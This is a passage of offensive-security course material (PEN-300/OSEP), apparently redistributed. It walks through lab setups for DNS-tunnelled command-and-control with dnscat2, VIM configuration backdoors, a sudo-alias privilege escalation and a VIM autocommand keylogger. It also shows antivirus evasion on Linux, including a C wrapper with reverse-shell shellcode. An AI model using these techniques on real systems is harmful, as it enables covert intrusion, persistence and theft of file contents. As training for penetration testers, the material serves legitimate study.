PEN-300 OSEP Course shared by Tamarisk

DNS tunneling is a common technique used to bypass proxy, IPS, and
firewall filters. This technique has limitations and is relatively
slow due to the limited amount of data we can transfer in a single
DNS packet. However, as DNS requests are typically allowed from even
very restrictive environments, DNS tunneling can be an excellent
technique to reach the outside world. In the next section, we'll
discuss how this technique works, and then perform DNS tunneling with
dnscat2.[527]

How DNS Tunneling Works

In order to establish communication between two hosts using DNS
traffic, we need to control both ends of the communication: the client
that makes the requests, and the DNS server. This means that in
order to receive the DNS requests generated by the client, we need
to register our DNS server as the authoritative server for a given
target domain, i.e. we need to assign an NS record to our domain.
This typically means that we must purchase a domain and under its
configuration, set the NS record to our DNS tunnel server. This will
cause the DNS server to forward all subdomain requests to our server.

Once the infrastructure is in place, we can communicate between hosts
by encapsulating our malicious data in legitimate DNS packets.

From the client, we can encapsulate data into the name field, which
contains the domain name. However, since the top-level domain is
fixed, we can only encapsulate data as subdomains. These can be up to
63 characters long but the total length of a domain can't exceed 253
characters.[528]

From the server side, we have much more flexibility and can return
data in a variety of fields based on the record type that was
requested. An "A" record can only contain IPv4 addresses, which means
we can only store four bytes of information, but "TXT" records allow
up to 64k.

However, one challenge in C2 communications is that if we want to send
any data from the server to the client, we can't initiate the transfer
from the server. Therefore, the malicious client applications are
designed to continuously poll the server for updated data.

Let's clarify this with a simple example. Imagine we want to create a
C2 channel in which the server can issue commands and the client can
return the results. Clients will continuously poll the server for new
commands because the server can't initiate connections to the client.
The client will execute new commands and send the results via new
query messages. Within these exchanges, we will generally hex-encode
our data, which allows us to transfer custom data.

Let's walk through the specific steps involved in this example.

First, as shown in Listing 34, the client will poll the
server.

Query: Request TXT record for "61726574686572656e6577636f6d6d616e6473.ourdomain.com"

Listing 34 - Client polls the server via DNS TXT queries

In this Listing, "61726574686572656e6577636f6d6d616e6473" represents
the hex-encoded string of "aretherenewcommands". If there is nothing
to run, the server will return an empty TXT record. If there are
commands to execute, the server will return the hex-encoded string
of the command to be executed by the client. For example, to instruct
the client to run the "hostname" command, the server would return this
hex-encoded representation:

TXT: "686f73746e616d65"

Listing 35 - DNS Server responds with TXT record

Next, the client executes the command and captures the results. In order
to send the results, it will generate a new DNS lookup that includes
the output of the requested command. In this case, the response
would include the hex-encoded hostname ("client") in the request. For
example, "636c69656e74.ourdomain.com" The client could safely use a
single "A" record lookup in this case due to the short response. If
the response was longer, the client would use multiple DNS queries.

This example is just a demonstration. Proper tunneling tools account
for various issues such as DNS retransmission,[529]
in which the client resends queries because it didn't receive an
answer in time, or DNS caching,[530] in which the client
caches the result of DNS queries. Full-featured tools can potentially
tunnel arbitrary TCP/IP traffic (as opposed to the simple data in our
example) and can also encrypt data.

Now that we understand the basic concepts of tunneling, let's try it
out.

DNS Tunneling with dnscat2

dnscat2[527-1] is a very popular and well-known DNS tunneling
utility. It can tunnel traffic through multiple DNS records, such as
A, TXT, and NS records. It also includes a built-in command shell and
can tunnel custom IP traffic to multiple locations. In addition, we
can run the dnscat2 client with standard user privileges as it does
not require client-side drivers.

To perform DNS tunneling with dnscat2, we need to perform some
configuration on the Ubuntu machine, which will act as the lab's
primary DNS server. As noted in the previous section, all subdomain
lookup requests for a specific domain should go to our DNS tunneling
server, which acts as the authoritative name server for that domain.

In the lab, we'll use a simple dnsmasq DNS server and configure
it to forward requests. We'll use tunnel.com as an example
domain for this demonstration.

The following diagram visualizes the roles of each node in the DNS
lab setup:

Figure 50: TLS Server replies with certificate of good.com

We'll need to edit the /etc/dnsmasq.conf file on the Ubuntu
machine and append our entries. We must specify the DNS servers for
specific domains in a standard format and use the IP address of our
Kali machine.

server=/tunnel.com/192.168.119.120
server=/somedomain.com/192.168.119.120

Listing 36 - dnsmasq configuration

After making the configuration changes, we must restart the dnsmasq
service.

offsec@ubuntu:~$ sudo systemctl restart dnsmasq

Listing 37 - Restart dnsmasq

Next we'll install dnscat2 on our Kali machine.

kali@kali:~$ sudo apt install dnscat2

Listing 38 - Installing dnscat2

At this point, we have to start dnscat2-server for our example
tunnel.com domain. It will ask our password to elevate to
root.

kali@kali:~$ dnscat2-server tunnel.com 

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = tunnel.com]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=d3d2f452f24afe4b362df248e2906c1d

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

Listing 39 - Starting dnscat2 server

Next, we'll switch to the Windows machine and start dnscat2
from the Desktop, specifying the domain we are using for the tunnel.

C:\Users\offsec\Desktop> dnscat2-v0.07-client-win32.exe tunnel.com
Creating DNS driver:
 domain = tunnel.com
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 172.16.51.21

Encrypted session established! For added security, please verify the server also displays this string:

Pedal Envied Tore Frozen Pegged Ware

Session established!

Listing 40 - Starting dnscat2 client

dnscat2 will encrypt connections by default, but we may also specify
our own pre-shared key if we like. Once a connection is established,
dnscat2 will display a "short authentication string", which can be
used to detect MiTM attacks. In this case, it's "Pedal Envied Tore
Frozen Pegged Ware", which we need to verify on both sides.

Switching back to the Kali side, we observe the following:

dnscat2> New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Pedal Envied Tore Frozen Pegged Ware

Listing 41 - dnscat2 session established

We confirm that the authentication string is the same.

We can start interacting with our client after attaching to the
session using the session -i [number] command:

dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Pedal Envied Tore Frozen Pegged Ware
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (client) 1> 

Listing 42 - Attaching to dnscat2 session

Next, we'll run an interactive shell with the shell command.
This will create a new session so we will need to switch to it in
order to execute commands.

command (client) 1> shell
Sent request to execute a shell
command (client) 1> New window created: 2
Shell session created!

command (client) 1> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Zester Pulped Mousy Bogie Liming Tore
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [Version 10.0.18363.418]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\offsec\Desktop>
cmd.exe (client) 2> whoami
cmd.exe (client) 2> whoami
client\offsec

Listing 43 - Getting shell with dnscat2

Our interactive shell is working flawlessly. Very nice.

dnscat2 also supports TCP/IP tunnels over DNS. That means we can
create a tunnel back to the victim machine so that we can RDP into it
from our Kali system.

Let's try this by redirecting our local port 3389 to the Windows
machine's IP.

command (client) 1> listen 127.0.0.1:3389 172.16.51.21:3389
Listening on 127.0.0.1:3389, sending connections to 172.16.51.21:3389

Listing 44 - Tunneling TCP with dnscat2

Once the tunnel is created, we can rdesktop to our Kali host
and interact with the RDP session on the Windows machine.

Figure 51: RDP session over DNS tunneling

Since the traffic is tunneled over DNS, the session will be slow, but
functional.

Now that everything is working, let's launch Wireshark and filter for
DNS to inspect the DNS traffic hitting our Kali machine.

Figure 52: DNS Tunneling as seen in Wireshark

This is definitely "interesting" DNS traffic. Each of these requests
contain very long and seemingly random domain names. If we look at the
packet details, we can see that both the requests and the replies are
quite lengthy, and that they include our hex-encoded traffic.

Figure 53: DNS Tunneling as seen in Wireshark

Despite the fact that dnscat2 produces an anomalous DNS traffic
pattern, it is still less anomalous than a standard command shell.

Exercises

  1. Repeat the steps in the previous section to get a reverse shell.
  2. Tunnel SMB through the tunnel and access files on the Windows
    machine via DNS.

Wrapping Up

In this module, we discussed relatively advanced enterprise defensive
layers. We discussed the strengths and weaknesses of a variety of
solutions and presented a variety of bypass techniques. We also
discussed three egress bypass techniques using HTTPS certificates,
domain fronting, and DNS tunneling. Each of these approaches can
be effective in a real-world environment and as penetration testers,
we must carefully determine which approach best suits our target
environment.

Linux Post-Exploitation

Microsoft Windows is the predominant OS for workplace end-client
machines and for everyday corporate technologies such as Active
Directory
and Kerberos. However, Linux (or a Unix variant) is
widely regarded as having the majority share of the world's servers
and cloud environments, supercomputers, and IoT devices. Unix variants
are also ubiquitous as a mobile operating system due to the Android
operating system.[531] Because of this, it's helpful
for penetration testers to have an extensive knowledge of Linux
and how its unique functionality can benefit them during a security
assessment.

This module will cover several different topics related to penetration
testing and Linux. We'll present a variety of techniques that extend
beyond initial enumeration and basic exploitation.

The outcome of these techniques may vary depending on the type of
Linux environment. As a result, we have attempted to make note of
these particular idiosyncrasies within the text in the relevant
sections. However, we will standardize our approaches on the
lab machine for this module and the steps needed to exploit that
particular environment.

User Configuration Files

Let's start by discussing some background information about Linux
configuration and its functionality, which will help set the
groundwork for our exploits later on in this module.

In Linux systems, applications frequently store user-specific
configuration files and subdirectories within a user's home directory.
These files are often called "dotfiles"[532] because they are
prepended with a period. The prepended dot character tells the system
not to display these files in basic file listings unless specifically
requested by the user.[533]

These configuration files control how applications behave for a
specific user and are typically only writable by the user themselves
or root. If we compromise a system under a given user, we can
modify those files and change how applications behave for them. As a
penetration tester, this provides us a useful attack vector.

Two common examples of dotfiles are .bash_profile and
.bashrc.[534] These files specify settings to
be used within a user's shell session and the difference between them
is subtle. .bash_profile is executed when logging in to the
system initially. This happens when logging in to the machine itself,
via a serial console or SSH. .bashrc is executed when a new
terminal window is opened from an existing login session or when a new
shell instance is started from an existing login session.

We can modify .bash_profile or .bashrc to set
environment variables or load scripts when a user initially logs in
to a system. This can be useful when trying to maintain persistence,
escalate privileges, or engage in other offensive activity.

Let's take a look at an example. In our lab machine, we'll insert
a simple command at the end of our user's .bashrc. This
will echo a touch command to write a file called
bashtest.txt and append that to the end of the user's
.bashrc file. When the user begins a new shell session, our
command will be executed.

offsec@linuxvictim:~$ echo "touch /tmp/bashtest.txt" >> ~/.bashrc

offsec@linuxvictim:~$ ls -al /tmp/bashtest.txt
ls: cannot access '/tmp/bashtest.txt': No such file or directory

offsec@linuxvictim:~$ /bin/bash

offsec@linuxvictim:~$ ls -al /tmp/bashtest.txt 
-rw-rw-r-- 1 offsec offsec 0 Aug 26 15:19 /tmp/bashtest.txt

offsec@linuxvictim:~$ exit
offsec@linuxvictim:~$

Listing 1 - Inserting a command into the user's .bashrc file

The bashtest.txt file is not there at first, but once we
start a new shell session by running /bin/bash, the command
is executed. The file is then written to the /tmp directory
as we expected.

In the next section, we'll use dotfiles to perform attacks and
escalate privileges.

VIM Config Simple Backdoor

In this section, we'll continue our look at dotfiles by using the
VIM text editor's configuration file to backdoor the editor and
exploit an unsuspecting user.

The VIM editor[535] is a widely used command line text editor on
Linux and it (or its predecessor vi[536]) is installed on nearly all
Unix and Linux systems by default. It is well known for its extensive
functionality and, as a result, presents us with an opportunity for
exploitation.

On many Linux systems, user-specific VIM configuration settings are
located in a user's home directory in the .vimrc[537]
file. This file takes VIM-specific scripting commands[538]
and configures the VIM environment when a user starts the application.

These commands can also be run from within the editor by typing a
colon (:) character followed by the desired command. For example,
if we want to print a message to the user, we can use the following
command in the .vimrc file or within the editor.

:echo "this is a test"

Listing 2 - Running a simple VIM command

Since VIM has access to the shell environment's
variables,[539] we can use common ones like $USER to get
the username or $UID to get the user's ID number if desired. Later
in this module we'll leverage environment variables for privilege
escalation.

The commands specified in the .vimrc file are executed when
VIM is launched. By editing this file, we can cause a user's VIM
session to perform unintended actions on their behalf when VIM is run.

The first attack vector we'll examine is running unauthorized scripts.
If VIM is not set to use a restricted environment,[540]
then we can use it to run shell commands from within the config file
by prepending the ! character. For example, if we want to create
a file somewhere on the system, we can enter a bash command in the
configuration file or in the VIM editor itself, prepended with an
exclamation point.

!touch /tmp/test.txt

Listing 3 - Running a shell command through VIM

By default, VIM allows shell commands but some hardened
environments have VIM configured to restrict them. It's possible
to test attacks in this VIM environment by calling VIM with the
-Z parameter on the command line. In this configuration,
attempting to run a shell command will result in an error message
indicating that such commands are not allowed.

Putting our commands directly into the user's .vimrc file
isn't particularly stealthy, as a user modifying their own settings
may accidentally discover the changes we've made. There is, however,
another option.

We can "source" a shell script using the bash source
command.[541] This loads a specified shell script and runs it
for us during the normal configuration process.

This approach provides only a slight level of obfuscation since a user
is less likely to dig deeper into these referenced files.

We can also "import" other VIM configuration files into the user's
current config with the :source command.[542]
Note that the source call for loading a VIM configuration file is
prepended with a colon and not an exclamation point, which is used for
shell commands.

As a more stealthy approach, we can leverage the VIM plugin directory.
As long as the files have a .vim extension, all VIM config
files located in the user's ~/.vim/plugin directory will be
loaded when VIM is run.

In our lab machine, let's say we have compromised the offsec user,
and we have a working shell.

We can modify the user's .vimrc file in their home directory
(or create one if they don't have it) and add the following line.

!source ~/.vimrunscript

Listing 4 - Sourcing a shell script in a VIM config file

This will load and run a shell script called .vimrunscript
from the user's home directory. In a real-world scenario, it might be
useful to pick a file path outside the user's home directory but for
simplicity, we'll keep it here.

Next, we can create the shell script file at
/home/offsec/.vimrunscript with the following contents.

#!/bin/bash
echo "hacked" > /tmp/hacksrcout.txt

Listing 5 - Shell script to source from VIM

The script echoes the word "hacked" to a file called
/tmp/hacksrcout.txt.

If we try to run VIM now, we get an obvious debug output message
explaining that we're sourcing a configuration file.

offsec@linuxvictim:~$ vi /tmp/test.txt
:!source /home/offsec/.vimrunscript

Press ENTER or type command to continue

Listing 6 - A debug message shown when sourcing a shell script in VIM

This is obviously undesirable as it would tip off the user. Luckily,
VIM has a built-in command for this, the :silent command.

This command mutes any debug output which would normally be sent
to the user when running VIM. We'll change our line in the user's
.vimrc file to the following.

:silent !source ~/.vimrunscript

Listing 7 - Silencing the debug message

We will remove the previous attempt's /tmp/hacksrcout.txt
file and try again. This time when we run VIM, our file opens, and we
don't get any suspicious messages.

If we check the /tmp/ directory, we find that our test output
file was created successfully.

offsec@linuxvictim:~$ ls -al /tmp/hacksrcout.txt
-rw-rw-r-- 1 offsec offsec 7 Jul  8 13:51 /tmp/hacksrcout.txt

offsec@linuxvictim:~$ cat /tmp/hacksrcout.txt 
hacked

Listing 8 - Our silenced sourced script created the output file successfully

This is handy for triggering scripts when a user opens a file in VIM,
but it doesn't really give us much more access than we already have.
We've got a shell as the user, so we can do most things they can.
However, if the user has sudo access, we may be able to do more.

In most cases, users with sudo rights are required to enter their
password when performing activities with elevated permissions via the
sudo command. We can't perform activities as root via sudo because
we don't know the user's password. We can weaponize this VIM vector to
gain root privileges if the user runs VIM as root or uses the visudo
command.[543]

Note that VIM handles its configuration files differently for a user
in a sudo context depending on the distribution of Linux. In some
systems such as Ubuntu and Red Hat, VIM will use the current
user's .vimrc configuration file even in a sudo context. In
other distributions, such as Debian, in a sudo context, VIM will use
the root user's VIM configuration.

In an assessment on an Ubuntu, Red Hat, or similar system, if the user
runs VIM via sudo, our script being sourced will also run as root.
Because of this, we will achieve root access without any extra
effort. On a Debian or similar system that does not persist the user's
shell environment information when moving to a sudo context, we can
add an alias[544] to the user's .bashrc file.

alias sudo="sudo -E"

Listing 9 - Alias to force sudo to use current user's environment

An alias is just a shortcut to substitute a different command when
a specific command is entered on the command line. The alias above
replaces a standard sudo call with one that will force sudo to persist
the user's VIM settings. The shell script being loaded will then also
run as root. We will need to source our .bashrc
file from the command line if we want the alias changes to go into
effect right away.

offsec@linuxvictim:~$ source ~/.bashrc

Listing 10 - Forcing alias changes to go into effect immediately

In some cases, users are given limited sudo rights to run only
specific programs. We can check this from a shell using the following
command (we're using the linuxvictim user here).

linuxvictim@linuxvictim:~$ sudo -l
Matching Defaults entries for linuxvictim on linuxvictim:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User linuxvictim may run the following commands on linuxvictim:
    (root) NOPASSWD: /usr/bin/vim /opt/important.conf 

Listing 11 - Sudo rights for a user

This limited access can be set in the /etc/sudoers file
with the same syntax as the highlighted line above. When a command is
specified at the end of the line, the user can run sudo only for that
command. In the above case, the linuxvictim user has the ability to
use VIM as sudo only to open the /opt/important.conf file.

In this case, a password is not required for sudo access. Because of
this, we can run VIM and then enter :shell to gain a root
shell automatically. If a password was required, we could use
the previously discussed alias vector to gain root access with our
backdoor script.

Note that many administrators now require the use of
sudoedit[545] for modifying sensitive files. This process
makes copies of the files for the user to edit and then uses sudo
to overwrite the old files. It also prevents the editor itself from
running as sudo. Having said this, it is also not uncommon to find
that system administrators simply add VIM to the allowed commands in
the sudoers file instead.

We've discussed a way to run scripts via a VIM backdoor, but what
happens if the environment is restricted and won't allow shell access?
Let's examine a method for creating a rudimentary "keylogger" through
VIM that operates even in a restricted VIM session.

Exercises

  1. Backdoor VIM as described in the module by modifying the user's
    .vimrc file directly and running a command while silencing
    the output.
  2. Backdoor VIM by adding a script to the VIM plugins folder.
  3. Backdoor VIM by sourcing a secondary shell script in the user's
    .vimrc file while silencing the output.
  4. Create an alias for the user for sudo to preserve the user's
    environment and activate it by sourcing the user's .bashrc
    file. Then execute a command as root by running VIM as sudo.
  5. Using the linuxvictim user, run VIM via sudo and get a root shell
    using the :shell command.

Extra Mile

Get a reverse shell using the above VIM backdoor as root.

VIM Config Simple Keylogger

As we've mentioned, it's possible to enter various commands into
VIM's .vimrc configuration files to perform actions when the
application starts or within a running editor session. VIM also gives
the ability for a user (or in our case, an attacker) to define actions
to be performed when various trigger conditions occur. This is done
through the use of autocommands.[546]

In this scenario, we want to create a rudimentary keylogger to log any
changes a user makes to a file using our compromised VIM editor. This
could be useful for capturing sensitive data in configuration files or
scripts.

We won't be able to use our previous approach because the current
system uses a restricted VIM environment that blocks any shell
commands. Thankfully, autocommand settings are internal to VIM and do
not require the shell.

We can use :autocmd in a VIM configuration file
or in the editor to set actions for a collection of predefined events.
A complete list is too extensive to include here, but can be viewed at
the autocommand reference linked above.

Some useful examples are VimEnter (entering VIM), VimLeave
(leaving VIM), FileAppendPre (right before appending to a file), and
BufWritePost (after writing a change buffer to a file). All of these
provide different triggers for performing actions that might benefit
an attacker.

We don't want to risk preventing the user from actually saving their
files as this might alert them. To avoid this, we can perform our
actions based on the BufWritePost event in VIM. This activates once a
buffer has already been written to the intended file.

We can define an autocommand using the autocmd keyword. We then
specify which autocommand trigger we want to use, then identify which
files we want it to act on. Finally, we'll provide the command we want
to perform once the action is triggered.

Let's set up an autocommand that fires on the BufWritePost action and
then writes the content of the file to a log file we specify. We want
the action to work on all files being edited. The command would look
something like this.

:autocmd BufWritePost * :silent :w! >> /tmp/hackedfromvim.txt

Listing 12 - Setting an action for our autocommand event

In the above command, we start by specifying that we're defining an
autocommand via :autocmd. BufWritePost is the event we're
going to trigger on, meaning that after a buffer is written to a file,
we will perform our action. The "*" specifies that this action will
be performed for all files being edited. We could change this to match
only files with a particular name or file extension, but in our case
we want to do this for every file. Everything after this point is the
actual command we'll perform when the trigger is activated.

The command being run after our condition is triggered is made up
of several subcommands. First, we specify that there shouldn't be
any debug output by using the :silent command. We then
use :w! to save the buffer contents. The exclamation
point (!) is a force modifier. In this case, it will overwrite
an existing file if one exists and write to file, even if the file
doesn't already exist. We then redirect the output to append to
/tmp/hackedfromvim.txt.

Putting the above command into our user's .vimrc file
is not very discreet, so let's add a layer of obfuscation.
To do this, we can load a secondary VIM configuration
file from a different location. We'll put our command in
/home/offsec/.vim/plugin/settings.vim. While this doesn't
prevent the user from viewing the file, it does make it less likely
the user will see it.

If we run VIM on a test file and insert any content, we notice that
we don't get any error messages or indication that anything is wrong.
Additionally, our output file was written successfully as shown in the
listing below.

offsec@linuxvictim:~$ vi /tmp/test.txt

offsec@linuxvictim:~$ ls -al /tmp/hackedfromvim.txt
-rw-rw-r-- 1 offsec offsec 26 Jul 31 13:52 /tmp/hackedfromvim.txt

Listing 13 - Our attack worked successfully

It's also possible to run shell commands on an autocommand
trigger. For example, if we wanted to run a shell script instead of
saving the buffer to a file, we could just replace everything after
":silent" with "!" followed by a shell script name or shell command.
Note that in our current restricted environment, we can't use this
approach.

This approach is useful, but it logs the entire contents of the
changed file to our log file for every file the target user edits. Our
log file could grow quickly. Let's refine our attack to include only
files that the user is editing using elevated permissions.

Thankfully, VIM allows for control logic in its internal scripting
language. Additionally, as we mentioned earlier, it's possible to
access environment variables from within VIM, including which user
the application is running as. Let's put these together to make our
keylogger more efficient.

VIM supports the use of basic if statements in its configuration
scripts in this manner.

:if <some condition>
:<some command>
:else
:<some alternative command>
:endif

Listing 14 - Control logic in VIM config files

Combining this with the ability to use environment variables, we can
check whether the user is running as root.

:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/hackedfromvim.txt
:endif

Listing 15 - Checking if our user is root

Let's replace our line in settings.vim with this.

Previously, we discussed how in some system configurations it's
possible to persist the VIM's user environment settings in a sudo
context. In these situations, when the user runs VIM as themselves,
VIM behaves normally. When they run VIM in a sudo context, however,
the keylogger will write any changes they make to files to the log
file we've specified.

offsec@linuxvictim:~$ rm /tmp/hackedfromvim.txt

offsec@linuxvictim:~$ vi /tmp/test.txt

offsec@linuxvictim:~$ ls -al /tmp/hackedfromvim.txt
ls: cannot access '/tmp/hackedfromvim.txt': No such file or directory

offsec@linuxvictim:~$ sudo vi /tmp/test.txt

offsec@linuxvictim:~$ ls -al /tmp/hackedfromvim.txt
-rw-r--r-- 1 root root 31 Jul 31 14:02 /tmp/hackedfromvim.txt

Listing 16 - Running the exploit as sudo

From the results in listing 16, we
find that our attempt at running VIM as a normal user didn't result
in the creation of our log file. However, when we run as sudo, the log
file is created under the root user.

In this section, we discussed creating a rudimentary keylogger or
file content monitoring utility with VIM's autocommand feature, as
well as how to silence the output and provide some control logic to
its actions. This provides additional attack vectors and allows us
to potentially escalate our privileges once we've gained an initial
foothold.

Next, we'll change topics and find ways to bypass antivirus on Linux
in order to run malicious payloads.

Exercises

  1. Use an autocommand call to write a simple VIM keylogger and silence
    it as in this section, sourcing it from a separate file than the
    user's .vimrc file.
  2. Modify the keylogger to only log modified file contents if the user
    is root.

Bypassing AV

Linux-based antivirus solutions are less commonly deployed than
Windows-based solutions. Malware authors tend to focus less on Linux
than Windows as the majority of endpoint users are in a Windows
environment. This doesn't mean that Linux-based antivirus solutions
are ineffective, but overall they tend to be less cutting-edge than
Windows-based solutions.[547]

Servers running Linux often have business-critical roles and support
essential services. Because of the limited effectiveness of antivirus
on Linux, the impact of malware on these systems could be higher than
their Windows counterparts.

In this section, we'll bypass the modern Linux-based Kaspersky
Endpoint Security
antivirus solution.[548]

Kaspersky Endpoint Security

Kaspersky is a well-known and widely-used vendor for antivirus
products and as such, provides a good baseline for testing antivirus
protections on Linux systems. Kaspersky's Endpoint Security product,
by default, enables real-time protection. We'll disable this for now
to more clearly demonstrate some foundational concepts.

We can turn Kaspersky off using the kesl-control utility. We
need to use the --stop-t flag, which stops a specified task
number. The documentation indicates that real-time protection runs as
task number 1.

offsec@linuxvictim:/opt/av$ sudo kesl-control --stop-t 1
[sudo] password for offsec: 
Task has been stopped

Listing 17 - Disabling realtime protection for our initial tests

In a real-world scenario, we wouldn't be able to turn off real-time
protection unless we had elevated privileges, but this makes it a
bit easier to demonstrate the detection capability of Kaspersky on
some basic files. If we don't turn off real-time protection, our
demonstration files will be immediately deleted on download or file
access. Moving forward, we'll manually scan the files we want to
check.

First, we'll try the EICAR test file.[549] This file is
used by antivirus vendors to test the detection capabilities of their
products. All modern antivirus systems are trained on this and should
detect it.

Let's run a scan on the EICAR test file found at
/opt/av/eicar.txt.

During testing, if the file is deleted and we want to reproduce the
original EICAR file on the VM, we can use the following command. Note
that it's important to ensure real-time protection is turned off when
performing this step or the file will be deleted again.

offsec@linuxvictim:/opt/av$ sudo gpg -d eicar.txt.gpg > eicar.txt

Listing 18 - Repairing the EICAR file

The command decrypts the encrypted version of the EICAR file (with the
password "lab") and copies it back to the eicar.txt file.

To perform the scan, we can run the kesl-control utility
as before, but this time with the --scan-file flag, which
specifies a file to scan for viruses.

In the following commands, we check to ensure the file exists, run
a scan on our EICAR test file, and then confirm that the file was
deleted from the file system by Kaspersky.

offsec@linuxvictim:/opt/av$ ls -al eicar.txt
-rwxrwxrwx 1 root root 68 Jul  1 15:34 eicar.txt

offsec@linuxvictim:/opt/av$ sudo kesl-control --scan-file ./eicar.txt
Scanned objects                     : 1
Total detected objects              : 1
Infected objects and other objects  : 1
Disinfected objects                 : 0
Moved to Storage                    : 1
Removed objects                     : 1
Not disinfected objects             : 0
Scan errors                         : 0
Password-protected objects          : 0
Skipped objects                     : 0

offsec@linuxvictim:/opt/av$ ls -al eicar.txt
ls: cannot access 'eicar.txt': No such file or directory

Listing 19 - Scanning EICAR test file

We can view the name of the detected infection by querying Kaspersky's
event log. To do this, we need to specify -E to review the
event log and --query to list out the items detected. We can
then use grep to filter on "DetectName" to display the names
of the detected malware.

offsec@linuxvictim:/opt/av$ sudo kesl-control -E --query | grep DetectName
DetectName=EICAR-Test-File

Listing 20 - Viewing EICAR test file scan output

The resulting DetectName entry states that Kaspersky detected the
EICAR test file, which is what we were initially scanning. This
confirms Kaspersky is working properly and detecting malicious files.

Next, we'll try scanning a Meterpreter payload. Let's generate
an unencoded 64-bit Linux Meterpreter reverse TCP payload
(linux/x64/meterpreter/reverse_tcp) on Kali as an ELF file named
met.elf and then transfer it to the lab machine in the
/tmp directory.

If we run a scan with Kaspersky on our met.elf file as we did
with our EICAR test file, the file is detected as malware.

offsec@linuxvictim:/tmp$ sudo kesl-control --scan-file ./met.elf
Scanned objects                     : 1
Total detected objects              : 1
Infected objects and other objects  : 1
Disinfected objects                 : 0
Moved to Storage                    : 1
Removed objects                     : 1
Not disinfected objects             : 0
Scan errors                         : 0
Password-protected objects          : 0
Skipped objects                     : 0

offsec@linuxvictim:/tmp$ sudo kesl-control -E --query | grep DetectName
DetectName=EICAR-Test-File
DetectName=HEUR:Backdoor.Linux.Agent.ar

Listing 21 - Scanning a Meterpreter shell ELF

The results show that our Meterpreter ELF file was detected,
automatically deleted, and categorized as "Backdoor.Linux.Agent.ar".

If we try a few variations on this, we notice different results.
32-bit Meterpreter payloads are caught with or without an encoder
set (using x86/shikata_ga_nai) when generating the Meterpreter
ELF file. However, a 64-bit Meterpreter payload encoded with the
x64/zutto_dekiru encoder is not detected by the AV as shown in the
listing below.

offsec@linuxvictim:/tmp$ sudo kesl-control --scan-file ./met64zutto.elf 
Scanned objects                     : 1
Total detected objects              : 0
Infected objects and other objects  : 0
Disinfected objects                 : 0
Moved to Storage                    : 0
Removed objects                     : 0
Not disinfected objects             : 0
Scan errors                         : 0
Password-protected objects          : 0
Skipped objects                     : 0

Listing 22 - 64-bit Zutto_Dekiru-encoded Meterpreter ELF file scanned

Let's try a different approach and put our unencoded x64 payload into
a C program as shellcode instead.

This time, we'll restore real-time protection to make things more
realistic. We can do this by again running kesl-control, this
time using the --start-t flag, which starts a task. We'll
specify task "1" again (the real-time protection task).

offsec@linuxvictim:/tmp$ sudo kesl-control --start-t 1
[sudo] password for offsec: 
Task has been started

Listing 23 - Re-enabling realtime protection for our initial tests

Now that real-time protection is enabled, when we access or run a
file, Kaspersky will automatically scan it for viruses.

We can regenerate a 64-bit unencoded shellcode with msfvenom,
this time with an output type of "c", on our Kali VM. We will then
insert it in a C program, which will act as a wrapper to load and run
the shellcode.

We haven't covered C programming in this course, so let's take a
moment to review each part of the code individually.

The first three lines are include statements. They allow us access
to functions included in the libraries that are defined by the C
programming language standard.[550]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

Listing 24 - C code wrapper include statements

The next section is an unsigned character array variable called buf
that contains our shellcode output in C format from msfvenom.

// Our payload generated by msfvenom
unsigned char buf[] = 
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a"
"\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
"\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x05\x39\xc0\xa8"
"\x76\x03\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59"
"\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a"
"\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48"
"\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e"
"\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";

Listing 25 - C code wrapper payload buffer

The final section is the main function.

int main (int argc, char **argv) 
{
	// Run our shellcode
	int (*ret)() = (int(*)())buf;
  	ret();

}

Listing 26 - C code wrapper main function

This contains the content of our program and is run when our program
starts. The main function takes two arguments, an integer called
argc, which stores how many arguments are passed to the program and
one called argv, which is an array of strings containing the actual
values of the arguments passed to the program.

Inside our main function, we have two lines of code that can seem
a little complicated. The C language supports pointers.[551]
A pointer variable (indicated by a * between the variable type
and the variable name) just stores the address of a place in memory
that points to a value of the type we specify. Let's examine a quick
example.

int myvalue = 10;
int* myptr = &myvalue;
int myothervalue = *myptr;

Listing 27 - Pointers in C

In the above code, we create an integer variable called myvalue,
which has a value of "10".

In the second line, we create an integer pointer called myptr as
indicated by int*. This points to a place in memory that stores an
